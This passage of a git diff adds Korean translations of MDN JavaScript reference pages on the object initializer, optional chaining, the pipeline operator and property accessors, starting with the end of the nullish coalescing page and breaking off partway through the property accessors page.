+<h3 id="구현_진행">구현 진행</h3>
+
+<p>The following table provides a daily implementation status for this feature, because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in <a href="https://github.com/tc39/test262">Test262</a>, the standard test suite of JavaScript, in the nightly build, or latest release of each browser's JavaScript engine.</p>
+
+<div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">The optional chaining operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">The logical OR (<code>||</code>) operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default paramaters in functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/object_initializer/index.html b/files/ko/web/javascript/reference/operators/object_initializer/index.html
new file mode 100644
index 0000000000..825c854848
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/object_initializer/index.html
@@ -0,0 +1,302 @@
+---
+title: 객체 초기자
+slug: Web/JavaScript/Reference/Operators/Object_initializer
+tags:
+  - ECMAScript 2015
+  - ECMAScript6
+  - JSON
+  - JavaScript
+  - Literal
+  - Methods
+  - Object
+  - Primary Expression
+  - computed
+  - mutation
+  - properties
+translation_of: Web/JavaScript/Reference/Operators/Object_initializer
+---
+<div>{{JsSidebar("Operators")}}</div>
+
+<p>객체는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code> 또는 <em>리터럴</em> 표기법 (<em>initializer</em> 표기법)을 사용하여 초기화될 수 있습니다. 객체 초기자(object initializer)는 0개 이상인 객체 속성명 및 관련값 쌍 목록이 콤마로 분리되어 중괄호(<code>{}</code>)로 묶인 형태입니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-objectinitializer.html", "taller")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js notranslate">var o = {};
+var o = { a: "foo", b: 42, c: {} };
+
+var a = "foo", b = 42, c = {};
+var o = { a: a, b: b, c: c };
+
+var o = {
+  <var>property: function </var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {},
+};
+</pre>
+
+<h3 id="ECMAScript_2015의_새로운_표기법">ECMAScript 2015의 새로운 표기법</h3>
+
+<p>이 표기법에 대한 지원은 호환성 표를 참조해 주세요. 비지원 환경에서, 이 표기법은 구문 오류로 이어집니다.</p>
+
+<pre class="brush: js notranslate">// 단축 속성명 (ES2015)
+let a = "foo", b = 42, c = {}
+let o = { a, b, c }
+
+// 단축 메서드명 (ES2015)
+var o = {
+  <var>property</var>([<var>parameters</var>]) {}
+}
+
+// 계산된 속성명 (ES2015)
+var prop = 'foo'
+var o = {
+  [prop]: 'hey',
+  ['b' + 'ar']: 'there'
+}</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>객체 초기자는 {{jsxref("Object")}}의 초기화를 기술하는 표현식(expression)입니다. 객체는 객체를 설명하는 데 사용되는<em>속성</em>으로 구성됩니다. 객체의 속성값은 {{Glossary("primitive")}} 데이터 형 또는 다른 객체를 포함할 수 있습니다.</p>
+
+<h3 id="객체_리터럴_표기법_vs_JSON">객체 리터럴 표기법 vs JSON</h3>
+
+<p>객체 리터럴 표기법은 <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (<a href="/ko/docs/Glossary/JSON">JSON</a>)과 같지 않습니다. 비슷해 보이지만, 차이가 있습니다:</p>
+
+<ul>
+ <li>JSON은 <code>"property": value</code> 구문을 사용한 속성 정의<em>만</em> 허용합니다. 속성명은 큰 따옴표로 묶여야 하고, 정의는 단축(명)일 수 없습니다.</li>
+ <li>JSON에서 값은 오직 문자열, 숫자, 배열, <code>true</code>, <code>false</code>, <code>null</code> 또는 다른 (JSON) 객체만 될 수 있습니다.</li>
+ <li>함수 값(아래 "메서드" 참조)은 JSON에서 값에 할당될 수 없습니다.</li>
+ <li>{{jsxref("Date")}} 같은 객체는 {{jsxref("JSON.parse()")}} 후에 문자열이 됩니다.</li>
+ <li>{{jsxref("JSON.parse()")}}는 계산된 속성명을 거부하고 오류를 발생합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체_생성">객체 생성</h3>
+
+<p>속성이 없는 빈 객체는 다음과 같이 만들 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var object = {};</pre>
+
+<p>그러나, 리터럴(<em>literal</em>) 또는 초기자(<em>initializer</em>) 표기법의 이점은, 빠르게 중괄호 내 속성이 있는 객체를 만들 수 있다는 것입니다. 당신은 그저 쉼표로 구분된 <strong><code>키: 값</code></strong> 쌍 목록을 표기합니다.</p>
+
+<p>다음 코드는 키가 <code>"foo"</code>, <code>"age"</code> 및 <code>"baz"</code>인 세 속성이 있는 객체를 만듭니다. 이들 키값은 문자열 <code>"bar"</code>, 숫자 <code>42</code> 그리고 세 번째 속성은 그 값으로 다른 객체를 갖습니다.</p>
+
+<pre class="brush: js notranslate">var object = {
+  foo: "bar",
+  age: 42,
+  baz: { myProp: 12 },
+}</pre>
+
+<h3 id="속성_접근">속성 접근</h3>
+
+<p>일단 객체를 생성하면, 읽거나 바꿀 수 있습니다. 객체 속성은 점 표기법 또는 각괄호 표기법을 사용하여 액세스될 수 있습니다. (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="property accessors">속성 접근자</a> 참조.)</p>
+
+<pre class="brush: js notranslate">object.foo; // "bar"
+object["age"]; // 42
+
+object.foo = "baz";
+</pre>
+
+<h3 id="속성_정의">속성 정의</h3>
+
+<p>우리는 이미 초기자 구문을 사용한 속성 표기법을 배웠습니다. 가끔, 객체 안에 두고 싶은 코드 속 변수가 있습니다. 다음과 같은 코드가 보입니다:</p>
+
+<pre class="brush: js notranslate">var a = "foo",
+    b = 42,
+    c = {};
+
+var o = {
+  a: a,
+  b: b,
+  c: c
+};</pre>
+
+<p>ECMAScript 2015의 경우, 똑같은 일을 할 수 있는 더 짧은 표기법이 있습니다:</p>
+
+<pre class="brush: js notranslate">var a = "foo",
+    b = 42,
+    c = {};
+
+// 단축 속성명 (ES6)
+var o = { a, b, c }
+
+// 다시 말해서,
+console.log((o.a === {a}.a)) // true
+</pre>
+
+<h4 id="중복된_속성명">중복된 속성명</h4>
+
+<p>속성이 같은 이름을 쓰는 경우, 두 번째 속성은 첫 번째를 겹쳐씁니다.</p>
+
+<pre class="brush: js notranslate">var a = {x: 1, x: 2};
+console.log(a); // {x: 2}
+</pre>
+
+<p>ECMAScript 5 엄격 모드 코드에서, 중복된 속성명은 {{jsxref("SyntaxError")}}로 간주됐습니다. 런타임에 중복을 가능케 하는 속성 계산명 도입으로, ECMAScript 2015는 이 제한을 제거했습니다.</p>
+
+<pre class="brush: js notranslate">function haveES6DuplicatePropertySemantics(){
+  "use strict";
+  try {
+    ({ prop: 1, prop: 2 });
+
+    // 오류 미 발생, 중복 속성명은 엄격 모드에서 허용됨
+    return true;
+  } catch (e) {
+    // 오류 발생, 중복은 엄격 모드에서 금지됨
+    return false;
+  }
+}</pre>
+
+<h3 id="메서드_정의">메서드 정의</h3>
+
+<p>객체의 속성은 <a href="/ko/docs/Web/JavaScript/Reference/Functions">함수</a>나 <a href="/ko/docs/Web/JavaScript/Reference/Functions/get">getter</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/set">setter</a> 메서드를 참조할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">var o = {
+  <var>property: function </var>([<var>parameters</var>]) {},
+  get <var>property</var>() {},
+  set <var>property</var>(<var>value</var>) {},
+};</pre>
+
+<p>ECMAScript 2015에서는, 단축 표기법을 이용할 수 있습니다, 그래서 키워드 "<code>function</code>"은 더 이상 필요치 않습니다.</p>
+
+<pre class="brush: js notranslate">// 단축 메서드 명 (ES6)
+var o = {
+  <var>property</var>([<var>parameters</var>]) {},
+}</pre>
+
+<p>ECMAScript 2015에는 값이 생성기 함수인 속성을 간결하게 정의하는 법도 있습니다:</p>
+
+<pre class="brush: js notranslate">var o = {
+  *<var>generator</var>() {
+    ...........
+  }
+};</pre>
+
+<p>ECMAScript 5에서는 다음과 같이 작성할 수 있습니다 (하지만 ES5는 생성기가 없음을 주의하세요):</p>
+
+<pre class="brush: js notranslate">var o = {
+  generator<var>Method: function* </var>() {
+    ...........
+  }
+};</pre>
+
+<p>메서드에 관한 자세한 사항 및 예는, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a> 참조.</p>
+
+<h3 id="계산된_속성명">계산된 속성명</h3>
+
+<p>ECMAScript 2015를 시작으로, 객체 초기화 구문은 계산된 속성명(computed property name)도 지원합니다. 각괄호 <code>[]</code> 안에 식을 넣을 수 있고, 식이 계산되고 그 결과가 속성명으로 사용됩니다. 이는 이미 속성을 읽고 설정하는 데 사용했을 수 있는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors" title="property accessor">속성 접근자</a> 구문의 각괄호 표기법을 연상시킵니다.  </p>
+
+<p>이제 당신은 객체 리터럴에서도 같은 구문을 쓸 수 있습니다:</p>
+
+<pre class="brush: js notranslate">// 계산된 속성명 (ES6)
+var i = 0;
+var a = {
+  ["foo" + ++i]: i,
+  ["foo" + ++i]: i,
+  ["foo" + ++i]: i
+};
+
+console.log(a.foo1); // 1
+console.log(a.foo2); // 2
+console.log(a.foo3); // 3
+
+var param = 'size';
+var config = {
+  [param]: 12,
+  ["mobile" + param.charAt(0).toUpperCase() + param.slice(1)]: 4
+};
+
+console.log(config); // { size: 12, mobileSize: 4 }</pre>
+
+<h3 id="전개_속성">전개 속성</h3>
+
+<p><a href="https://github.com/tc39/proposal-object-rest-spread">ECMASCript의 나머지/전개 속성</a> 제안 (stage 4) 으로 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">전개(spread)</a> 속성이 객체 리터럴에 추가됩니다. 이 속성은 제공된 객체의 열거 가능한(enumerable) 속성을 새 객체로 복사합니다.</p>
+
+<p>(<code>prototype</code>을 제외하는) 얕은 복제(Shallow-cloning) 나 객체 합침(merging objects)이 이제{{jsxref("Object.assign()")}} 보다 짧은 문법으로 가능해집니다.</p>
+
+<pre class="notranslate">let obj1 = { foo: 'bar', x: 42 }
+let obj2 = { foo: 'baz', y: 13 }
+
+let clonedObj = { ...obj1 }
+// Object { foo: "bar", x: 42 }
+
+let mergedObj = { ...obj1, ...obj2 }
+// Object { foo: "baz", x: 42, y: 13 }</pre>
+
+<div class="blockIndicator warning">
+<p>{{jsxref("Object.assign()")}}는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Functions/set">setters</a>를 작동시키지만, 전개 연산자(spread operator)는 아니라는 걸 주목하세요!</p>
+</div>
+
+<h3 id="프로토타입_변이">프로토타입 변이</h3>
+
+<p><code>__proto__: value</code> 또는 <code>"__proto__": value</code> 형태의 속성 정의는 이름이 <code>__proto__</code>인 속성을 만들지 않습니다. 대신, 제공된 값이 객체 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>이면, 생성된 객체의 <code>[[Prototype]]</code>을 그 값으로 바꿉니다. (값이 객체나 null이 아니면, 객체는 바뀌지 않습니다.)</p>
+
+<pre class="brush: js notranslate">var obj1 = {};
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+
+var obj2 = { __proto__: null };
+assert(Object.getPrototypeOf(obj2) === null);
+
+var protoObj = {};
+var obj3 = { "__proto__": protoObj };
+assert(Object.getPrototypeOf(obj3) === protoObj);
+
+var obj4 = { __proto__: "not an object or null" };
+assert(Object.getPrototypeOf(obj4) === Object.prototype);
+assert(!obj4.hasOwnProperty("__proto__"));
+</pre>
+
+<p>단일 프로토타입 변이(mutation)만 객체 리터럴에 허용됩니다: 다중 프로토타입 변이는 구문 오류입니다.</p>
+
+<p>"colon" 표기법을 쓰지 않는 속성 정의는 프로토타입 변이가 아닙니다: 그들은 다른 이름을 사용하는 비슷한 정의와 동일하게 동작하는 속성 정의입니다.</p>
+
+<pre class="brush: js notranslate">var __proto__ = "variable";
+
+var obj1 = { __proto__ };
+assert(Object.getPrototypeOf(obj1) === Object.prototype);
+assert(obj1.hasOwnProperty("__proto__"));
+assert(obj1.__proto__ === "variable");
+
+var obj2 = { __proto__() { return "hello"; } };
+assert(obj2.__proto__() === "hello");
+
+var obj3 = { ["__prot" + "o__"]: 17 };
+assert(obj3.__proto__ === 17);
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer', 'Object Initializer')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.operators.object_initializer")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/get">get</a></code> / <code><a href="/ko/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar" title="Lexical grammar">어휘 문법</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/optional_chaining/index.html b/files/ko/web/javascript/reference/operators/optional_chaining/index.html
new file mode 100644
index 0000000000..cdf88c138b
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/optional_chaining/index.html
@@ -0,0 +1,187 @@
+---
+title: Optional chaining
+slug: Web/JavaScript/Reference/Operators/Optional_chaining
+translation_of: Web/JavaScript/Reference/Operators/Optional_chaining
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p>{{SeeCompatTable}}</p>
+
+<p><strong>optional chaining</strong> 연산자 <strong><code>?.</code></strong> 는 체인의 각 참조가 유효한지 명시적으로 검증하지 않고, 연결된 객체 체인 내에 깊숙이 위치한 속성 값을 읽을 수 있다. <span class="seoSummary"><code>?.</code> 연산자는 <code>.</code> 체이닝 연산자와 유사하게 작동하지만, 만약 참조가 {{glossary("nullish")}} ({{JSxRef("null")}} 또는 {{JSxRef("undefined")}})이라면, 에러가 발생하는 것 대신에 표현식의 리턴 값은 <code>undefined</code>로 단락된다.</span> 함수 호출에서 사용될 때, 만약 주어진 함수가 존재하지 않는다면, <code>undefined</code>를 리턴한다.</p>
+
+<p>이것은 참조가 누락될 가능성이 있는 경우 연결된 속성으로 접근할 때 더 짧고 간단한 표현식이 생성된다. 어떤 속성이 필요한지에 대한 보증이 확실하지 않는 경우 객체의 내용을 탐색하는 동안 도움이 될 수 있다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html")}}</div>
+
+<div></div>
+
+<p class="hidden">이 대화식 예제의 소스는 GitHub repository에 저장된다. 만약 너가 대화식 예제 프로젝트에 기여하려면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 복제(clone)하고 풀 리퀘스트를 보내라.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>obj</var>?.<var>prop</var>
+<var>obj</var>?.[<var>expr</var>]
+<em>arr</em>?.[<var>index</var>]
+<var>func</var>?.(<var>args</var>)
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>optional chaining 연산자는 참조나 기능이 <code>undefined</code> 또는 <code>null</code>일 수 있을 때 연결된 객체의 값에 접근하는 단순화할 수 있는 방법을 제공한다.</p>
+
+<p>예를 들어, 중첩된 구조를 가진 객체에서 <code>obj</code>가 있다. optional chaining이 없이 깊이 중첩된 하위 속성을 찾으려면, 다음과 같이 참조를 확인해야 한다:</p>
+
+<pre class="brush: js">let nestedProp = obj.first &amp;&amp; obj.first.second;</pre>
+
+<p><code>obj.first</code>의 값은 <code>obj.first.second</code>의 값에 접근하기 전에 <code>null</code> (그리고 <code>undefined</code>)가 아니라는 점을 검증한다. 이는 만약에 <code>obj.first</code>를 테스트 없이 <code>obj.first.second</code> 에 직접 접근할 때 일어날 수 있는 에러를 방지한다. </p>
+
+<p>그러나 optional chaining 연산자(<code>?.</code>)를 사용하여, <code>obj.first.second</code> 에 접근하기 전에 <code>obj.first</code>의 상태에 따라 명시적으로 테스트하거나 단락시키지 않아도 된다:</p>
+
+<pre class="brush: js">let nestedProp = obj.first?.second;</pre>
+
+<p><code>.</code> 대신에 <code>?.</code> 연산자를 사용함으로써, 자바스크립트는 <code>obj.first.second</code>에 접근하기 전에 <code>obj.first</code>가 <code>null</code> 또는 <code>undefined</code>가 아니라는 것을 암묵적으로 확인하는 것을 알고 있다. 만약 <code>obj.first</code>가 <code>null</code> 또는 <code>undefined</code>이라면, 그 표현식은 자동으로 단락되어 <code>undefined</code>가 반환된다.</p>
+
+<p>이는 다음과 같다:</p>
+
+<pre class="brush: js">let nestedProp = ((obj.first === null || obj.first === undefined) ? undefined : obj.first.second);</pre>
+
+<h3 id="함수의_호출과_Optional_chaining">함수의 호출과 Optional chaining</h3>
+
+<p>존재하지 않을 수 있는 매서드를 호출할 때, optional chaining을 사용할 수 있다. 예를 들어, 구현 기간이나 사용자 장치에서 사용할 수 없는 기능 때문에 메서드를 사용할 수 없는 API를 사용할 경우,  유용할 수 있다.</p>
+
+<p>함수 호출과 optional chaining을 사용함으로써 메서드를 찾을 수 없는 경우에 예외를 발생시키는 것 대신에 그 표현식은 자동으로 <code>undefined</code>를 반환한다:</p>
+
+<pre class="brush: js">let result = someInterface.customMethod?.();</pre>
+
+<div class="blockIndicator note">
+<p><strong>메모:</strong> 만약 속성에 해당 이름이 있지만 함수가 아니라면, <code>?.</code>의 사용은 여전히 예외를 발생시킨다. {{JSxRef("TypeError")}} exception (<code>x.y</code><code> is not a function</code>).</p>
+</div>
+
+<h4 id="optional_callbacks과_event_handlers_다루기">optional callbacks과 event handlers 다루기</h4>
+
+<p>만약 객체에서 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring">destructuring assignment</a>로 callbacks 또는 fetch 메서드를 사용한다면, 그 존재 여부를 테스트하지 않으면 함수로 호출할 수 없는 존재 하지 않는 값을 가질 수 있다. <code>?.</code>을 사용하면, 다음 추가 테스트를 피할 수 있다:</p>
+
+<pre class="brush: js">// Written as of ES2019
+function doSomething(onContent, onError) {
+  try {
+    // ... do something with the data
+  }
+  catch (err) {
+    if (onError) { // Testing if onError really exists
+      onError(err.message);
+    }
+  }
+}
+</pre>
+
+<pre class="brush: js">// Using optional chaining with function calls
+function doSomething(onContent, onError) {
+  try {
+   // ... do something with the data
+  }
+  catch (err) {
+    onError?.(err.message); // no exception if onError is undefined
+  }
+}
+</pre>
+
+<h3 id="표현식에서_Optional_chaining">표현식에서 Optional chaining</h3>
+
+<p>optional chaining 연산자를 속성에 표현식으로 접근할 때 대괄호 표기법(<a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Bracket_notation">the bracket notation of the property accessor</a>)을 사용할 수 있다:</p>
+
+<pre class="brush: js">let nestedProp = obj?.['prop' + 'Name'];
+</pre>
+
+<h3 id="Optional_chaining으로_배열_항목에_접근하기">Optional chaining으로 배열 항목에 접근하기</h3>
+
+<pre class="brush: js">let arrayItem = arr?.[42];</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>이 예제는 해당 멤버가 없을 때, map에서 멤버 bar의 <code>name</code>의 속성 값을 찾는다. 그러므로 결과는 <code>undefined</code>이다.</p>
+
+<pre class="brush: js">let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;</pre>
+
+<h3 id="단락_평가">단락 평가</h3>
+
+<p>표현식에서 optional chaining을 사용할 때, 만약 왼쪽에 있는 피연산자가 <code>null</code> or <code>undefined</code>인  경우, 그 표현식은 평가되지 않는다. 예들 들어:</p>
+
+<pre class="brush: js">let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // 0  x는 증가하지 않음
+</pre>
+
+<h3 id="optional_chaining_연산자_쌓기">optional chaining 연산자 쌓기</h3>
+
+<p>중첩된 구조에서는 optional chaining을 여러 번 사용할 수 있다:</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: {
+    age: 82,
+    location: "Paradise Falls" // detailed address is unknown
+  }
+};
+let customerCity = customer.details?.address?.city;
+
+// … this also works with optional chaining function call
+let duration = vacations.trip?.getTime?.();
+</pre>
+
+<h3 id="널_병합_연산자와_같이_사용하기">널 병합 연산자와 같이 사용하기</h3>
+
+<p>널 병합 연산자는 optional chaining를 사용한 후에 아무 값도 찾을 수 없을 때 기본 값을 주기 위해 사용될 수 있다:</p>
+
+<pre class="brush: js">let customer = {
+  name: "Carl",
+  details: { age: 82 }
+};
+const customerCity = customer?.city ?? "Unknown city";
+console.log(customerCity); // Unknown city</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.es/proposal-optional-chaining/#top">Proposal for the "optional chaining" operator</a></td>
+   <td>Stage 4</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.optional_chaining")}}</p>
+</div>
+
+<h3 id="구현_진행">구현 진행</h3>
+
+<p>The following table provides a daily implementation status for this feature, because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in <a href="https://github.com/tc39/test262">Test262</a>, the standard test suite of JavaScript, in the nightly build, or latest release of each browser's JavaScript engine.</p>
+
+<div>{{EmbedTest262ReportResultsTable("optional-chaining")}}</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>The {{JSxRef("Operators/Nullish_Coalescing_Operator", "Nullish Coalescing Operator", '', 1)}}</li>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/pipeline_operator/index.html b/files/ko/web/javascript/reference/operators/pipeline_operator/index.html
new file mode 100644
index 0000000000..42eb62e545
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/pipeline_operator/index.html
@@ -0,0 +1,76 @@
+---
+title: 파이프 연산자
+slug: Web/JavaScript/Reference/Operators/Pipeline_operator
+tags:
+  - Experimental
+  - JavaScript
+  - Operator
+translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator
+---
+<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div>
+
+<p><span class="seoSummary"><strong>파이프 연산자</strong>(<code>|&gt;</code>)는 실험적 기능(stage 1)으로, 표현식의 값을 함수에 전달합니다. 파이프 연산자를 활용하면 중첩 함수 호출을 좀 더 읽기 좋은 형식으로 작성할 수 있습니다.</span> 결과물은 문법적 설탕<sup>syntactic sugar</sup>으로, 하나의 인수를 제공하는 함수 호출은 다음 코드처럼 쓸 수 있습니다.</p>
+
+<pre class="brush: js">let url = "%21" |&gt; decodeURI;</pre>
+
+<p>전통적인 구문에서는 아래처럼 호출합니다.</p>
+
+<pre class="brush: js">let url = decodeURI("%21");
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>expression</em> |&gt; <em>function</em>
+</pre>
+
+<p>지정한 <code>expression</code>의 값이 <code>function</code>의 유일한 매개변수로 전달됩니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="함수_체이닝">함수 체이닝</h3>
+
+<p>파이프 연산자를 사용해, 여러 번 중첩된 함수 호출을 읽기 편한 형태로 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">const double = (n) =&gt; n * 2;
+const increment = (n) =&gt; n + 1;
+
+// 파이프 연산자 없이
+double(increment(double(double(5)))); // 42
+
+// 파이프 연산자 사용
+5 |&gt; double |&gt; double |&gt; increment |&gt; double; // 42
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-pipeline-operator/#sec-intro">Pipeline operator draft</a></td>
+   <td>Stage 1</td>
+   <td>Not part of the ECMAScript specification yet.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.pipeline")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposal-pipeline-operator">Github - Proposal-pipeline-operator</a></li>
+ <li><a href="https://github.com/tc39/proposals">TC39 제안서</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/property_accessors/index.html b/files/ko/web/javascript/reference/operators/property_accessors/index.html
new file mode 100644
index 0000000000..83ae2e0b80
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/property_accessors/index.html
@@ -0,0 +1,153 @@
+---
+title: 속성 접근자
+slug: Web/JavaScript/Reference/Operators/Property_Accessors
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Property_Accessors
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>속성 접근자</strong>는 점 또는 괄호 표기법으로 객체의 속성에 접근할 수 있도록 해줍니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-propertyaccessors.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">object.property
+object['property']
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>객체는 속성의 이름을 키로 사용하는 연관 배열(다른 이름으로는 맵, 딕셔너리, 해시, 룩업 테이블)로 생각할 수 있습니다. 보통 객체의 속성을 메서드와 구별해서 말하곤 하지만, 서로의 차이는 관례에 불과합니다. 메서드는 호출할 수 있는 속성일 뿐으로, 속성의 값이 {{jsxref("Function")}}을 가리키는 참조라면 그 속성을 메서드라고 합니다.</p>
+
+<p>속성에 접근하는 법은 점 표기법과 괄호 표기법 두 가지가 있습니다.</p>
+
+<h3 id="점_표기법">점 표기법</h3>
+
+<pre class="brush: js">get = object.property;
+object.property = set;
+</pre>
+
+<p>이 코드에서, <code>property</code>는 유효한 JavaScript {{glossary("identifier", "식별자")}}여야합니다. 따라서 <code>object.$1</code>은 유효하지만 <code>object.1</code>은 아닙니다.</p>
+
+<pre class="brush: js">document.createElement('pre');
+</pre>
+
+<p>여기서는 "createElement"라는 이름을 가진 메서드를 <code>document</code>에서 찾아 호출하고 있습니다.</p>
+
+<p>소숫점 없는 숫자 리터럴의 메서드를 호출하고 싶으면, 메서드의 접근자 앞에 공백을 한 칸 추가해 점이 소숫점으로 인식되지 않도록 해야 합니다.</p>
+
+<pre><code>77 .toExponential();
+// or
+77
+.toExponential();
+// or
+(77).toExponential();
+// or
+77..toExponential();
+// or
+77.0.toExponential();
+// because 77. === 77.0, no ambiguity</code>
+</pre>
+
+<h3 id="괄호_표기법">괄호 표기법</h3>
+
+<pre class="brush: js">get = object[property_name];
+object[property_name] = set;
+</pre>
+
+<p>괄호 표기법에서는 <code>property_name</code>으로 문자열이나 {{jsxref("Symbol")}}을 사용할 수 있습니다. 문자열은 유효한 식별자가 아니어도 괜찮습니다. "<code>1foo</code>", "<code>!bar!</code>", 심지어 "<code> </code>"(공백)도 가능합니다.</p>
+
+<pre class="brush: js">document['createElement']('pre');
+</pre>
+
+<p>이 코드는 점 표기법의 예시와 동일합니다.</p>
+
+<p>괄호 앞에 공백이 올 수도 있습니다.</p>
+
+<pre><code>document ['createElement']('pre');</code>
+</pre>
+
+<h3 id="속성_이름">속성 이름</h3>
+
+<p>속성의 이름은 문자열이나 {{jsxref("Symbol")}}입니다. 숫자 등의 다른 자료형은 문자열로 변환됩니다.</p>
+
+<pre class="brush: js">var object = {};
+object['1'] = 'value';
+console.log(object[1]);
+</pre>
+
+<p>위 코드의 <code>1</code>은 <code>'1'</code>로 변환되므로, 출력 결과는 "value"입니다.</p>
+
+<pre class="brush: js">var foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {};
+object[foo] = 'value';
+console.log(object[bar]);
+</pre>
+
+<p>위의 코드 역시 <code>foo</code>와 <code>bar</code>가 같은 문자열(<a href="/ko/docs/SpiderMonkey">SpiderMonkey</a> JavaScript 엔진에서는 문자열 "<code>['object Object']</code>")로 변환되므로, 출력 결과는 동일하게 "value"입니다.</p>
+
+<h3 id="메서드_바인딩">메서드 바인딩</h3>
+
